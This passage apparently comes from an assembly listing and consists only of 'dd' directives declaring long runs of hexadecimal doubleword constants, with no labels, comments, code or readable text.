		dd 0A9270527h, 9371F071h, 20A3048Ah, 0A157D27Dh, 93070689h
		dd 703B7FDh, 269ED305h,	0C1164185h, 0B12510F8h,	0CCC35C9Eh
		dd 0BB4F015Ah, 3D28E12h, 47726185h, 548AB643h, 1F95F8Ah
		dd 7204FA83h, 0DCD9F72Dh, 747F03E1h, 88D12B00h,	75494707h
		dd 0BD9390FAh, 0F4CBF54h, 83CA8810h, 0E90CE260h, 37067402h
		dd 6C77ABF3h, 298B4A49h, 0A38A5F7Fh, 49E9A267h,	0C862B557h
		dd 9576104Dh, 0D172E03Eh, 3D3BC603h, 0DC4876FEh, 78820F09h
		dd 0C7F71221h, 366A2903h, 0E6A59914h, 720812F9h, 24EC8029h
		dd 57241895h, 0BA94F741h, 0E983141Dh, 0D00C278Eh, 0C2C8F828h
		dd 56308530h, 28429175h, 11903F99h, 4026FEACh, 96C510Bh
		dd 0D1230985h, 98D568Ah, 5A5F0130h, 0AF026DA4h,	0C6B49012h
		dd 425DC72Ah, 498DC5CCh, 26172C29h, 0E6413B68h,	290BA611h
		dd 46192490h, 1A424745h, 66409C8Ch, 0E9FC0F0Fh,	0EC09F464h
		dd 0DC91E448h, 0CC45D422h, 0E48E0940h, 0E98FE889h, 74E81191h
		dd 4817EC89h, 8974F091h, 914817F4h, 0FC8974F8h,	48D4317h
		dd 3030C97h, 0F848F072h, 0F18AA70Ah, 44093046h,	0FE8A503Ch
		dd 9415A639h, 0C909E90h, 34FA64E4h, 0EA45512h, 2C0B51B5h
		dd 31748D83h, 397CD01Dh, 24E48024h, 0FD500D38h,	0F1C4FCE4h
		dd 852458B0h, 60664F06h, 90D4F074h, 2B31F9A2h, 5743B808h
		dd 3358B011h, 36E819C8h, 0DC1B1009h, 6E3B0348h,	0B34EACE0h
		dd 0B657A14Fh, 2098680Fh, 0EE71A4EAh, 32EF0692h, 2A968C7Eh
		dd 0DA289052h, 50AC9C4Bh, 0A4EFACEEh, 594690AFh, 5C46285Ah
		dd 6C0F648Ch, 917409C8h, 4484227Ch, 0A789948Ch,	1C684815h
		dd 181164BAh, 1445225Dh, 5D1024D2h, 0D20C4522h,	225D0824h
		dd 4FD20445h, 19202B98h, 91C80DC0h, 0EC22D809h,	0B8A08CA5h
		dd 889EB68Ah, 84BC108Ah, 0B82B1487h, 44A0BC69h,	0F7240804h
		dd 3C67A8C2h, 13A02C1h,	1E0A2ED8h, 192674C0h, 0E5251261h
		dd 0C11DE4E4h, 1710E83Eh, 0D2190241h, 303112Bh,	0C183E1CFh
		dd 0CFC2CD04h, 0D251367Ah, 0ACD431A0h, 0D10797D0h, 257940E0h
		dd 0BDF8C2CCh, 28A1481h, 0E98B8C42h, 0DFE06341h, 0A80D6128h
		dd 68A0B266h, 0CAD2445Ch, 0C1C94484h, 0EB0296C2h, 0A630ED8Ch
		dd 1890A2E3h, 0DC80B10h, 960750Ch, 0E1F70421h, 6F1070C2h
		dd 0D88A0C53h, 643A3F1Eh, 0A031414h, 0D3400596h, 551B0B5Bh
		dd 3AEA6455h, 7FAE3D83h, 7E01078Ah, 7B6120Fh, 664C6855h
		dd 0BB92BF2Bh, 0D8B0F01h, 8AA57470h, 58410426h,	27E00812h
		dd 0EB471903h, 0DB372CD2h, 8B2DFEF0h, 561EE7Eh,	4752B0Eh
		dd 0DB331041h, 0B50C4458h, 25529BDAh, 0A10B1441h, 0E9A09D3Dh
		dd 0A8410D12h, 465CCC9Bh, 0EB31D050h, 0FD83CF18h, 1375C386h
		dd 0EBD8F702h, 0A2A044D5h, 49E85B04h, 8345593Ch, 940C144Ch
		dd 0E41ACC83h, 4A4BE695h, 0B50E88E0h, 826E224Ah, 0B5218310h
		dd 4C2062h, 8A565357h, 0F394115Eh, 0F469C7B0h, 77017771h
		dd 6A4F7FF6h, 2C7A35F7h, 0D0380F4Ah, 205615ABh,	99100B16h
		dd 40A200Bh, 5B5EF575h,	0FA7945Fh, 0EBA1F011h, 0E8FF7E8Dh
		dd 84480261h, 2228357Ch, 0E0389290h, 33C47975h,	18650341h
		dd 25FF66B9h, 0D22BD8Fh, 60B1EBDFh, 0C28A6B82h,	0F9D853E9h
		dd 0FF478D1Ah, 0C7E0851Bh, 70940616h, 5FAC8116h, 0C46097Fh
		dd 3B2940A8h, 3AEBA583h, 34296FCFh, 57852E04h, 4E1700D3h
		dd 0E0FDA111h, 4C9F2A5Ch, 57D3132h, 9F12EB61h, 992A1C64h
		dd 1302F189h, 0D81BED66h, 0C0E38A6h, 6AFECD5Eh,	138449B8h
		dd 0E4C8FE2Ch, 5017B445h, 4CB72198h, 84C0C5D7h,	0C994B82Ch
		dd 0BF3EF4C7h, 272E231Ch, 0E9010F49h, 46167D50h, 99B65B04h
		dd 6AC3127Ch, 0FEB7BF40h, 29DED125h, 10C9406Ah,	1DEB0829h
		dd 0ACA48D6Ah, 0B409496Bh, 0F7579C48h, 80FDC14Ch, 18A0F74h
		dd 52099241h, 750F0F3Bh, 0BAE38BF1h, 7E8BFEFFh,	0F083D0E8h
		dd 0C24DE898h, 19A926F6h, 74818138h, 0FC418BE8h, 45234F92h
		dd 59A91A44h, 0B70E729Eh, 81E9100Fh, 798DCDCBh,	0ABBB4BFEh
		dd 3F08D3FEh, 3A0FD0Ah,	0CC3FC65h, 43196032h, 0B3C050B6h
		dd 17881464h, 0EEC96347h
		dd 0BAECCEC3h, 6868BB11h, 2A6F6ADEh, 0E1E66C11h, 0E0344961h
		dd 2248272Ch, 1012686Ah, 72C7666Bh, 66650F96h, 0C3C60922h
		dd 0D7685E4h, 8885312h,	7F43E042h, 10DF142Bh, 4605A240h
		dd 64E48F02h, 0C4244832h, 91413813h, 0C12B8636h, 0FE4214C3h
		dd 0FC59FDC8h, 51704C1Dh, 52AE3D4Bh, 72B641E5h,	42E98114h
		dd 5822D0Ch, 18A10185h,	602BEC73h, 1ADDC4E8h, 0E328DC2Ch
		dd 50044013h, 0C8F4DC89h, 38833166h, 0C74108E2h, 0A8391028h
		dd 4CA3F85Dh, 32EC7B44h, 9C31DCA1h, 147D4226h, 48BCF685h
		dd 35FF0933h, 95A558F4h, 0CF12DE92h, 83C32460h,	0E0787C61h
		dd 83632277h, 0F4271C34h, 39491660h, 10741506h,	2C691114h
		dd 5933DE87h, 353BC7B0h, 13EC8C59h, 5B050B77h, 1B233039h
		dd 0BB95A1Ch, 19075E32h, 0F0E6320Fh, 709AD0D5h,	0CDAB6235h
		dd 3C544C15h, 9B365E14h, 640A6646h, 0F9959BB1h,	404127DBh
		dd 0DD0C47D0h, 212F0A3Eh, 0EA12AD50h, 2EBEAC61h, 36B28F5Dh
		dd 0E845E830h, 183F65A2h, 5914C2DDh, 0EB3CCEBh,	256651B0h
		dd 0A7FF032h, 1CDD003Dh, 55137524h, 0A0FD4CE8h,	0EC2D7E85h
		dd 1A4E759Fh, 362388D3h, 418E535Dh, 0E80B6A0Bh,	60A5FC3Ch
		dd 535670EBh, 4AA658F8h, 8362F9E3h, 7005DC0Fh, 29E84216h
		dd 6E311F68h, 3DEB0353h, 539EBCE8h, 2CF85D37h, 5F6CDC37h
		dd 9EE00CDFh, 18810E75h, 22F84486h, 20C3F606h, 8F19ED75h
		dd 1550A63Fh, 0B67D721Dh, 389DA654h, 89AAD541h,	2F74A36Fh
		dd 1550EC7Bh, 0C3E238DBh, 0A2DDB887h, 5C70041h,	0DFA080ACh
		dd 14C69F72h, 0C813A8A3h, 0D891B01Eh, 48B41464h, 48B86418h
		dd 0BCA38CC0h, 0BCB4C313h, 9BF4B6B0h, 0FE7D3AD9h, 453ADF48h
		dd 0FFCC8096h, 0FBFC31C3h, 7DDF986Dh, 0FE0CCDF4h, 5598DB26h
		dd 4791C9F8h, 5B084851h, 5A33E47h, 12587AD4h, 3835F512h
		dd 3E421147h, 21860CACh, 0D1D83C75h, 0C51853Dh,	0B35D611h
		dd 5768325Eh, 0C0F6A7F7h, 649EF03Ah, 89331D96h,	0ADA3CA03h
		dd 0D2796E08h, 2846632Ch, 0E0FF2F08h, 8C2CD23h,	87595880h
		dd 1C240434h, 11700735h, 0A3A16457h, 0F8862F31h, 60ECFD01h
		dd 2F6AC141h, 48C97937h, 0BFA02038h, 4069E4E6h,	4D9A8662h
		dd 0A44178D0h, 0F8B8CF2Eh, 50FDD49Bh, 88D25D73h, 0A1CA04A9h
		dd 1CA68EFCh, 4B02501Bh, 83CFE89h, 0E142701Ah, 3E362003h
		dd 0EDAC6714h, 993FE5CDh, 0C691EA9Dh, 0AC19E765h, 0F43A084Dh
		dd 8EC035AFh, 8AA1619Dh, 0B44DF940h, 0A1289ACEh, 0AC04B7ECh
		dd 98E111FFh, 0C25118A2h, 49C2E8B7h, 68C88EA6h,	24F8EC57h
		dd 0FC661BC1h, 0DF03BFA5h, 0F87370FFh, 5289084Eh, 888410A1h
		dd 79684196h, 0AF593465h, 0BC3D8F2h, 6276DCE0h,	38181649h
		dd 0E40CD962h, 0E8041C02h, 5263AF11h, 6A74F065h, 0F809F464h
		dd 0F05FFC4Ch, 0DC894844h, 0F86DCA26h, 7D8519Eh, 44125B38h
		dd 866401CCh, 31F8ADEBh, 8DD40C10h, 2150129Ah, 149D685Fh
		dd 0EA465995h, 0BACC9464h, 178959FCh, 57A1BC16h, 0A95F0BD8h
		dd 0CD917E69h, 0A7EACC44h, 0AA605561h, 8313918Dh, 88266E0h
		dd 0FA107A0Fh, 2A014524h, 0A4D174Dh, 54EC23A0h,	86100614h
		dd 17D500ACh, 4093C403h, 78EC2336h, 75352470h, 0A152290Bh
		dd 33925DECh, 6BB11C33h, 18B3EF20h, 3FF79F4Fh, 0EE5A2649h
		dd 52572D09h, 4477661Bh, 0C6259A5Fh, 35FD989h, 0FE83397Ch
		dd 0E8057804h, 21FD48DFh, 8D4E1000h, 4C39B604h,	8218835Bh
		dd 1D3B055Eh, 687E0848h, 0F60C521Fh, 4DA44D26h,	3648076Bh
		dd 0C58024CAh, 461A144Dh, 800C3189h, 473B0172h,	4773A0Ch
		dd 9076F099h, 0D9891697h, 3D5B85F0h, 76F246ABh,	7956A4Dh
		dd 41638068h, 8C42C00Ah, 0C85D049Dh, 2CEDE542h,	950AD298h
		dd 0B896FF06h, 9F0F36C8h, 726A7C5Ch, 4AB80209h,	0B74E74D1h
		dd 6A50F027h, 886968FEh, 1CED7F83h, 80D3535h, 19446058h
		dd 2E74A944h, 0EC71D0E8h, 348D0128h, 0B30C8B76h, 0E2B4A089h
		dd 7C304867h, 248204A4h, 0DC42F512h, 0FC992E0Fh, 0FF6F8C40h
		dd 0EEB1254h, 58F64C3h,	450BB316h, 18143A8Dh, 50D21C6h
		dd 15047981h, 51287269h, 765273FAh, 53087B39h, 8B419C05h
		dd 0BA4CBBECh, 0AEB2976h, 46EFA409h, 4F2064Bh, 0C0D6BECh
		dd 0D0C25B59h, 8F8F005h, 0EA9D5049h, 0A60C579Bh, 166C6676h
		dd 505B098Dh, 0F9BD1831h, 206D2B09h, 0C4C06F2Ah, 103E65D8h
		dd 0E8C464F0h, 8E6C6265h, 2C0B1908h, 4A500991h,	0D8A1C08Bh
		dd 0D8A10B65h, 40901A65h, 0BC0FCFCCh, 91B409C8h, 44A422ACh
		dd 8C89949Ch, 0AEC0A814h, 2465D8C4h, 22F0F123h,	1025FC09h
		dd 5EC06D66h, 67677021h, 21D6B820h, 70886678h, 19889967h
		dd 0D00991A8h, 84C09A4Ah, 843A6770h, 906A6770h,	0F73DE5Ch
		dd 3409222Ch, 89443C44h, 2F54124Ch, 0C08A4AF1h,	802058EDh
		dd 9880DCCh, 14AC8998h,	8FAEC0A8h, 0F888966Ah, 0B9E2B50Bh
		dd 149CF878h, 46AB1404h, 5446904h, 0B0B158Bh, 10D10659h
		dd 26F1FA0Fh, 2CB5F22Bh, 5E8B39A1h, 8DD73A73h, 0C0F93F05h
		dd 2E0C5071h, 0A70C5ED2h, 0C30114D0h, 0D42B8E2Fh, 5A32819h
		dd 2F9C101h, 89880C8Dh,	93684649h, 8314EB58h, 0B3790C05h
		dd 0A08A1DC9h, 310DF195h, 2AC3480Ah, 0E80BCAF2h, 0A059F56Dh
		dd 75093E22h, 0D5186A0Dh, 4CA1A291h, 2052838Dh,	42A32809h
		dd 4B704C9Dh, 0EA925653h, 1F8ADF90h, 1772D8Dh, 1C959058h
		dd 11C342BDh, 0A3921CA9h, 512B69BAh, 0A00547BDh, 0D0EB461Eh
		dd 6D120DB5h, 2A047FCAh, 1C050C14h, 3116DB2Bh, 0B518274Ah
		dd 0E38C0F4Ah, 0AE33AE2Bh, 94FAD84h, 7A8F2424h,	59396A4Ch
		dd 5EC1CE98h, 0C7097430h, 0D20A5292h, 4C032AFh,	0DFE783Ch
		dd 13A958E8h, 5C1F0808h, 39318F89h, 0BA177506h,	2012AA53h
		dd 81FE0441h, 46015EADh, 0DB4012C6h, 0F778D233h, 3BF101Ah
		dd 8EFA58A9h, 0F3A681BDh, 0EC39312Eh, 5920E1Bh,	0C3CBBE8Dh
		dd 0E24230ADh, 570B86ECh, 86C14656h, 32588B66h,	4A57C723h
		dd 487C304h, 0E9574284h, 3B371482h, 3673128Dh, 0EE44DEBCh
		dd 0F4DCF908h, 0CEDED72h, 247F844Ah, 400576CAh,	0F09EB04h
		dd 31CAF62h, 0F89F85F1h, 68B58AFh, 0E924188Ah, 0FA5A964h
		dd 0DAFEBCB0h, 0C1F6F7C0h, 0E540D308h, 89DD2C4Dh, 0EB8210FCh
		dd 42AC64Dh, 7F194BB8h,	1141C75h, 24833ED4h, 0D0602E1h
		dd 8F347D81h, 21778002h, 2C75C985h, 7632036Bh, 14A8F627h
		dd 52DC701h, 22F68494h,	0FF9F70FFh, 0B5CC11EBh,	17F66080h
		dd 4C91BD9h, 0F1C80306h, 5BB9BF3h, 6902D3F9h, 0CB589061h
		dd 6821F84Ch, 51BC8FD4h, 6C0AA4E0h, 0E902748Fh,	0C906FC38h
		dd 0B853C409h, 0FFFDE543h, 367149C8h, 442C7049h, 9B975049h
		dd 0F234A13Dh, 38C440A5h, 0C201046h, 12426E21h,	8DF6BD10h
		dd 0C42F5BCCh, 0B9BDEBE2h, 9ECCA892h, 61878BAFh, 3BD1EA5Ah
		dd 0BC133431h, 441BBE75h, 448488E8h, 8689E62Eh,	0E2892108h
		dd 14118212h, 8024E012h, 78A10720h, 45EB0FC4h, 64B7B2EAh
		dd 834A58ABh, 1B740CFFh, 1C98020Ah, 7D38667Bh, 0B647CCEh
		dd 0A216DC0Ch, 77875FE0h, 9C950344h, 750ADBE8h,	1843BFE0h
		dd 0A35F03A5h, 3E5E46A1h, 0FB9330F8h, 0F621D0CFh, 0BC90F210h
		dd 674CE81Ch, 0E2FF8FA9h, 2C7B8A60h, 2E8B0197h,	1D0C7D12h
		dd 127A2EDEh, 0CF55055Dh, 0A55CAF85h, 16754CF3h, 0F2A9E9D7h
		dd 0F7B2408Ah, 0A40C4638h
		dd 0DBBB7301h, 0EB93091Fh, 82D76AA1h, 348A0810h, 2A1C329Dh
		dd 41D0565Dh, 0E4C83B23h, 64B872F9h, 7A57F825h,	0E9BD20A6h
		dd 73852958h, 1047E0Bh,	30EA33Eh, 0FCD209DFh, 6E814BEBh
		dd 7A2E7214h, 0C193AA5Fh, 65270E12h, 122B12FCh,	0F45350C2h
		dd 4D4744D6h, 21367412h, 20293706h, 0D81303ABh,	0C90A18EBh
		dd 25B0BC52h, 2A287459h, 7A870388h, 9B14BC43h, 1B78C14h
		dd 3276850Fh, 4CBB5188h, 4E3C83F9h, 4EB9A0Ch, 0C7E6860Dh
		dd 7E2B6DB8h, 0E5EBECBEh, 0CB2DF893h, 0C257EA80h, 59D900FFh
		dd 3DE07D8Dh, 702ABF3h,	0B3168A5Fh, 41CA58C9h, 0CCCF2381h
		dd 0D20503E8h, 5448DE3h, 461806C0h, 5E75F484h, 854583E5h
		dd 12CF0E48h, 5C439015h, 3E6A028Ah, 0CE98F051h,	0E3D3525Bh
		dd 3EEC100h, 0E0354C8Ah, 74D91284h, 0F1C7E107h,	0A30D6F42h
		dd 179544DAh, 566C241Eh, 0D32B584Ah, 283C26E0h,	804C2275h
		dd 589576DCh, 5EE98115h, 892ADC72h, 0C3232856h,	0D2B29CB2h
		dd 5792CF5Ch, 567A9D43h, 5CD9DA53h, 0F714030Fh,	0FF8403C6h
		dd 90128135h, 6F517C87h, 163B21EBh, 74D4B46Ah, 29E12565h
		dd 0EB752021h, 1F1E5CA0h, 0EEE38351h, 3021216Bh, 754B2F3Dh
		dd 0E541F35Ah, 0C35F5E5Bh, 74C56A38h, 0AA3B1312h, 624B5CB2h
		dd 3B91EE7Ch, 5E33B36Ch, 8D564BFAh, 38262FD9h, 8CAF4EC8h
		dd 1D85063Bh, 0C8C6D116h, 232C91DEh, 860C911Eh,	0A074C675h
		dd 95E281AFh, 0E154EACh, 432848Bh, 542A8D42h, 0AAC337Ch
		dd 7510A7Ch, 7726560h, 298555B1h, 0FE343AA4h, 833CFBE9h
		dd 73EA6FA7h, 587B8C43h, 0F9F01E8h, 0CA23408h, 19EF245Dh
		dd 933CDE89h, 0AC0F040Dh, 6E321F4Dh, 2F0CD514h,	18416A1Ah
		dd 0A8126DBEh, 24900680h, 0EB3D45FCh, 106AE714h, 960208F5h
		dd 0F404C4F6h, 42461ABEh, 0BACB2FEh, 65211493h,	3B0D4CD5h
		dd 4989A0F9h, 0DEBFE02h, 164580ECh, 163B5E35h, 2D408E34h
		dd 0E33E8353h, 0DAD9D226h, 0BBF75042h, 90AE5DF2h, 0FEA6CB3Fh
		dd 0A6F3814Ch, 8EFF468Ah, 0A2473A8Eh, 8E740477h, 0D1F726CFh
		dd 0CF5B5A96h, 50D05703h, 0C693A771h, 31560809h, 43E5376h
		dd 4247070Eh, 3BC7F739h, 85C76CFCh, 1F884790h, 0A881691h
		dd 4FCF7561h, 0B2E1B444h, 0A9708D5h, 93125E03h,	752E3804h
		dd 82D30949h, 621CEB4Eh, 74CB48DFh, 130A9F33h, 78231376h
		dd 0CBEE302Ch, 0D22A6BDh, 4D3FD947h, 0F38F2005h, 0BFA20FF4h
		dd 0A972E274h, 470B1696h, 24D0B2D0h, 0B446F92Ah, 44740B94h
		dd 4839ECh, 29880D40h, 0A3100257h, 0B0952D1Bh, 65A0672Ah
		dd 0FF48C983h, 69412468h, 458A4F01h, 1485FD0Ch,	0F8073847h
		dd 590596EEh, 62B8FCC7h, 0FF428DF0h, 0B39F5B7Eh, 5E64E36Eh
		dd 4204CD0Eh, 0EEF6D8B1h, 0CE54AD3Ah, 13740278h, 38420A8Ah
		dd 2AD1ADC1h, 0DC51A782h, 0BEDC18Bh, 0C3D481D8h, 5610E3C1h
		dd 0A1412BCh, 0A4DFDCBFh, 80CB96DFh, 0F183F960h, 3FE5FF52h
		dd 0C0C62DCFh, 0A4E1818Ah, 1C7514E6h, 0D3CAED25h, 7AFE3F07h
		dd 8DE66708h, 0CC48580h, 0C3EA5BC2h, 0FC428B05h, 0B3C5D838h
		dd 0FEFAA4Fh, 252709DCh, 0D8B8E7AEh, 48152764h,	0D0691DCh
		dd 5C96EBD4h, 0FED5B219h, 460770A0h, 2CFC21FDh,	0C7D42A4h
		dd 2D1127Fh, 917FFB9Ah,	92B36EFh, 5B425620h, 4E05A756h
		dd 16AA7804h, 15F0304h,	0EBB18941h, 42F43007h, 66A2475Ah
		dd 162CD348h, 0A3C89B9h, 7557BE0Ch, 2780D913h, 9BC3660Ch
		dd 903BEA5Dh, 0D559046h, 0F0EBDB33h, 3D1760AFh,	46952816h
		dd 7584C3F8h, 0EEC8AE1Dh, 8C0F1741h, 8F23ACAAh,	0A18F255Ah
		dd 20C00901h, 0DC299E9h, 27FE2EF9h, 0DF3B4000h,	25137D5Eh
		dd 4AD13539h, 43A0B7Eh,	0F2137889h, 0B00A2749h,	5A235874h
		dd 0F1DC1DC6h, 0D165EBDAh, 45134515h, 8F84Ch, 44F6C89Fh
		dd 87B0014Ah, 0A65CCF3h, 88028AC6h, 1C5DE6D8h, 0F7EB5809h
		dd 141A6E1Eh, 0F8C69384h, 8FE5AF5h, 5225032Bh, 529298EAh
		dd 0E8099935h, 0B9774B36h, 0E06EAE4Fh, 8EC40652h, 0DEC6FC45h
		dd 8FD6D0Dh, 0BCB535Ah,	50DCA2A4h, 6B9753F0h, 5BF2F680h
		dd 19C5D618h, 3F0B0C4Bh, 33AD79F1h, 1812C20Ch, 0F3F050EBh
		dd 5435C85Ch, 0D1391620h, 3BDB3AE9h, 0BD800EAh,	0F7F475C9h
		dd 0E438D6F3h, 0BC091DDh, 72D10310h, 4B3B630Eh,	11670877h
		dd 2B847653h, 371B8FD3h, 0E8111424h, 0DA1CCFACh, 9C83D88Eh
		dd 47014A2Fh, 0CA42A8A0h, 0E48118AFh, 65104814h, 118B26D8h
		dd 41EBD314h, 0A114C881h, 0E481A39Fh, 45184DF0h, 0E6E5C517h
		dd 24108472h, 760C4107h, 24644E01h, 735E51C6h, 93D3E96Ah
		dd 7ED4DEFCh, 490B9427h, 72596F40h, 7B80211Dh, 1B753A85h
		dd 29FC7CD4h, 20621024h, 28E82D91h, 8063A4F4h, 4307EF66h
		dd 0E6A10919h, 0C6035B0Ah, 0C3F582E6h, 9A493BBAh, 948428BEh
		dd 65740970h, 0D1A3208Ah, 5EE182F6h, 486D18A9h,	1A09EB40h
		dd 2E2FF980h, 5C5CA9ADh, 752E867Ah, 79A04A0Bh, 483C8D06h
		dd 254D4C01h, 4F5E7A40h, 731A1ACFh, 6B2A88E1h, 88805795h
		dd 4E3BFB2Bh, 28DF1DFEh, 65229D94h, 5D294FADh, 2409D0D1h
		dd 225CF307h, 0A14D4E82h, 21821306h, 0FC7D2418h, 133B4C77h
		dd 844872FBh, 143F6CF0h, 0BC6EE821h, 187DC643h,	2B442861h
		dd 65079086h, 0EBF04E73h, 0E8579741h, 0E1584F47h, 0F83E4A24h
		dd 1446642Bh, 0C32B1742h, 90532299h, 88E62740h,	4AFD1857h
		dd 0DF9AA8B7h, 295228F4h, 0F9ECE4BAh, 0E8B49C2Bh, 6D08912Fh
		dd 75FC224h, 0DC534916h, 56550802h, 48C1DB85h, 0B3ED6A0Fh
		dd 95DD52Dh, 0E1C9FFD0h, 931FA88Bh, 354C6897h, 0C229D3E9h
		dd 0FD2BEA3Ch, 0FE04E60h, 17D8877Dh, 0DD15DC32h, 8559804Fh
		dd 8C840FEDh, 20B623D6h, 9C34428h, 1DCCE855h, 5398F7EEh
		dd 29EBFB12h, 1906D506h, 0BBF84159h, 0FC438ACDh, 7210ED48h
		dd 6A504474h, 63BCE06Ch, 541542BBh, 2AE70F0Bh, 59B62156h
		dd 8DC88EF6h, 1824F141h, 0EB2B8C75h, 5345401Fh,	8E604128h
		dd 44B038B0h, 2894F422h, 749D1474h, 0BB549D7Eh,	0E48C1D66h
		dd 0B116BE9h, 5B1636D1h, 0FE4F4FDFh, 4B78CC5Ah,	0D9DFDA41h
		dd 0ECCD104Fh, 4EFE8E07h, 0E1810C06h, 5BC90108h, 224D3129h
		dd 0FB59603Bh, 0D8694DB6h, 30364C8Ch, 0A7D4DF35h, 772B3E4Ch
		dd 0EB2FE2B8h, 0EB92F246h, 46E6E35h, 62106466h,	4C6B6679h
		dd 305AF70Dh, 0FA2BFB5Bh, 553B3796h, 10FC2C43h,	45D74D84h
		dd 1473Ah, 3BD82B99h, 3E5B72C7h, 90299749h, 9ABE0F27h
		dd 56E250Eh, 74A15B1Bh,	4845D12Eh, 0A6AB4BA5h, 0A87FB429h
		dd 88B14A27h, 5016FAFFh, 644973DBh, 0C7CDFC31h,	0FF75572Bh
		dd 0E4F7E769h, 0E3549F72h, 293B7569h, 4EB3B610h, 0C3E9C88Fh
		dd 0F61DA0E0h, 2776BBAh, 7A32164Fh, 98142C0Dh, 0EB44FC8Bh
		dd 0A52E84DBh, 797D38E6h, 90F4FF5Dh, 56472ED5h,	7960B4Bh
		dd 0D4B839Ah, 0ECD229CEh, 1C1C5665h, 1CC41821h,	0E2A72956h
		dd 102C1424h, 1A52F98Eh, 39C5EC54h, 0D92EEBD1h,	48DB64A7h
		dd 321C64F1h, 14471618h, 4F921023h, 2371D117h, 0B2745F5Eh
		dd 7D3C2DA1h, 2002351h,	2868D0FFh, 0ABECA330h, 0E80B1714h
		dd 900CFCCEh, 4584700Fh, 3F257EBFh, 885F4DACh, 6C9F153Dh
		dd 123C834h, 0EB750464h, 3D39E742h, 992354DCh, 7E083311h
		dd 4035E6CAh, 4B8BE80Fh, 68032857h, 0AD83D89h, 0D41D8847h
		dd 0F23C1229h, 92384808h
		dd 560B72E3h, 4881718Dh, 0F91372F0h, 83985806h,	0A804EE3Fh
		dd 73052335h, 34685EEDh, 112C9522h, 0E0C7142Ah,	110840C5h
		dd 35194438h, 885BE60Bh, 89147B28h, 8DEED387h, 0DB647A61h
		dd 0D73AB45h, 4C65870h,	0C3A4C9EBh, 62D7F332h, 17475F6Dh
		dd 0BF95FA25h, 4CB99698h, 0D9AAFA93h, 26906D95h, 0BAD64EF5h
		dd 38C21694h, 27E9F2F2h, 0BC0D70Bh, 0A95A3274h,	8AF4B889h
		dd 0F3A010Eh, 47465275h, 0BE303148h, 38178F16h,	745AFD1h
		dd 57B7014Eh, 9F3B153Ch, 37F031A9h, 0E3F6E876h,	6125B3B6h
		dd 882FE0CBh, 0F33A2BD6h, 4E272CA7h, 57DCFC1Ch,	0A2104DF3h
		dd 779263F5h, 0F5EAE62Eh, 37021D90h, 1B01B3B8h,	2B305FC0h
		dd 0FD6AD8FFh, 16728BC4h, 0CA380F06h, 77C8E775h, 65EE7718h
		dd 84110EE0h, 0D9CAF588h, 3B0643E2h, 48CD6A14h,	54855A5Fh
		dd 8D1933F9h, 0E70AC441h, 0C74010F1h, 120A8F4h,	0D1C12BF6h
		dd 0FA6248F8h, 0FF30165Fh, 0E002A784h, 0E257D63Bh, 0F66509E2h
		dd 7956250Fh, 3927DA91h, 2975E910h, 0CA8621C4h,	335F056h
		dd 1D66C83Eh, 890631B6h, 0C8A88032h, 408EB54Ah,	8E493642h
		dd 897659E4h, 0B0750C5Dh, 0B86A52E2h, 0E909E6ABh, 83A738F5h
		dd 860209DDh, 0AC41887Dh, 165D9860h, 620F747Ah,	0BBF12A41h
		dd 8D6FEB82h, 0C332C14Fh, 8A16C12Ch, 1CEF8208h,	0D2B79E79h
		dd 0E699E6B9h, 2DF5DD40h, 7D702C09h, 0AF57DE2Ch, 0C89D522Fh
		dd 757001BCh, 0AFEB2B2Fh, 0E40B96ADh, 0E2401AFFh, 71EB7659h
		dd 0D06A7E56h, 15B2881Fh, 0C63B9B90h, 48837416h, 40610DF7h
		dd 34167868h, 0CE380843h, 0ACD95A41h, 83A8606Ah, 159458ECh
		dd 0E865183Eh, 82116C6Ch, 0D48A3E60h, 55ACE9FBh, 68B114B3h
		dd 0D9B214Bh, 0C11D97A8h, 0CA03FC06h, 6A44216h,	0A0A310E8h
		dd 0C04EA211h, 0BF0F2CD7h, 0A8036E12h, 0B0E31C6Ah, 0D2955B7Ch
		dd 50E6245Eh, 9D684602h, 0C804A327h, 834FA46Fh,	657AE0D3h
		dd 7FE04D5Dh, 0B4C8F32h, 8C48556Ah, 8D16D075h, 3748A445h
		dd 20E88D64h, 9CCB602Fh, 0D05CF673h, 0E106257Eh, 0B02ED413h
		dd 58620A7Ah, 899C753Ch, 58C6F7DFh, 4ABCE818h, 0CDA0456Dh
		dd 7A7F5812h, 3AA83F12h, 4D0924h, 0E8515098h, 0FBDC4A5Eh
		dd 0C8220766h, 7D98753Fh, 3D833FC7h, 0C77BE7BDh, 52E4E322h
		dd 0BCF10987h, 0F753140Bh, 0A024A933h, 30207860h, 0BF102585h
		dd 1329EFA3h, 56A62659h, 0ADC1794Bh, 8246A769h,	0A8105E06h
		dd 0F30F6182h, 82408417h, 802BEBEBh, 6683162Ch,	1010CC04h
		dd 408ADB30h, 1C2408DAh, 940E89FEh, 19413046h, 241FE939h
		dd 0DF029EEFh, 2064E5A9h, 0FE812206h, 32FA8488h, 0A8100874h
		dd 5302C92Ah, 595413E8h, 3A87AD1Dh, 20A5E8C4h, 57010883h
		dd 86646874h, 2B3E04E1h, 0EF4F4F8h, 4918B2C4h, 4D8AFB1h
		dd 5710187Eh, 47596850h, 0F0AF8CB9h, 33EB3C24h,	6A09FB2Fh
		dd 0CB41570Eh, 0F005F8C1h, 2CF51FE1h, 0DCA7259Fh, 0EAC89262h
		dd 118B416h, 0F640F6C8h, 0D740E20h, 8153026Ah, 563E76E8h
		dd 8A39B538h, 9688BA4Dh, 0C7EF14EBh, 85FC5E4h, 39580653h
		dd 7F5FEC7Dh, 0A73B9674h, 3C2485C3h, 5D4F0E25h,	0C0521CF4h
		dd 0DCFAC653h, 9D8C48B2h, 8A04F379h, 85471Fh, 0EC22A4AEh
		dd 0C20A8EDh, 4D8806F2h, 1AF7B6F0h, 3F860F08h, 390314D0h
		dd 8C0FEC55h, 803103DCh, 137C20FBh, 7F780A09h, 7EEBF00Eh
		dd 9A644D8Ah, 0B97B1D58h, 8420318Fh, 1F40CBC6h,	3EB004C9h
		dd 8780075Fh, 0D69A870Fh, 6D4DB063h, 0D4838440h, 55190192h
		dd 2D806CCh, 8E404E0h, 0E9DC06FCh, 93D64578h, 35E56A10h
		dd 9E830A3Bh, 80A3D2Dh,	7F481F1Ch, 0BA1D1235h, 53FA41Bh
		dd 0E908FC74h, 4092350h, 13147CAh, 80123EE5h, 35547E0Eh
		dd 28028F12h, 2AFB402Ch, 239F2375h, 0F4F5E86Eh,	9A3C998Dh
		dd 128D0F0Ah, 0D7DA693Eh, 49EFE9FEh, 0BE2F89DFh, 806707CBh
